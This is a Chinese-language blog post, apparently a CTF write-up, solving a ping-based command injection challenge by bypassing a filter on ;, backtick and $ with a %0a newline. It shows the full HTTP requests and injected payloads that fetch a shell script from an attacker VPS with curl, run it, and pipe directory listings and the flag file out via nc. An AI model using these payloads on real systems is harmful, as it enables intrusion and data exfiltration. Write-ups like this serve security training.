banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

命令執行繞過-死亡ping命令

297a673a89db936acaa55bac560f989

朋友發來一道 ctf 題目,打開網站如下圖,一眼命令執行漏洞。

Pasted image 20241115170827

抓包測試無回顯,但會顯示命令執行成功。

Pasted image 20241115170856

請求如下:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 12
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1

測試過濾什麼字符,測試發現,過濾了下述字符,那麼通過 dnslog 外帶的方式就被堵死了。

;`$

Pasted image 20241115170926

Pasted image 20241115170956

dnslog 外帶的方式通常是利用尖括號進行命令執行,如

`whoami`.xxx.dnslog.cn

測試發現 % 未過濾可以通過 %0a(換行符)繞過執行命令

1、準備 vps 伺服器,在 vps 上新建一個 1.sh 腳本,腳本內容如下

ls / | nc vps地址 1234

2、vps 上用 nc 監聽請求,並開啟一個新窗口啟動 python 服務,讓靶機下載 1.sh 腳本

nc -lvnp 1234
python3 -m http.server 80

3、靶機執行如下命令

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh
chmod 777 /tmp/4.sh
/bin/sh /tmp/4.sh

請求報如下:

POST /ping.php HTTP/1.1
Host: ctf.zhibangyang.cn:20508
Content-Length: 50
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://ctf.zhibangyang.cn:20508
Referer: http://ctf.zhibangyang.cn:20508/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/4.sh

Pasted image 20241115172903

結果如下,可以返回請求

c7a4bf2d2d68349b0d31078e064e410

那麼查看 flag 則只需要修改 1.sh 的腳本內容如下

cat /FLAG | nc vps地址 1234

再走一遍,獲取 flag

ip=127.0.0.1%0acurl vps地址/1.sh > /tmp/5.sh
chmod 777 /tmp/5.sh
/bin/sh /tmp/5.sh

490d14b6eac008d7954445c85e0e895

根據 flag 的格式知道 n1book 上的題

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。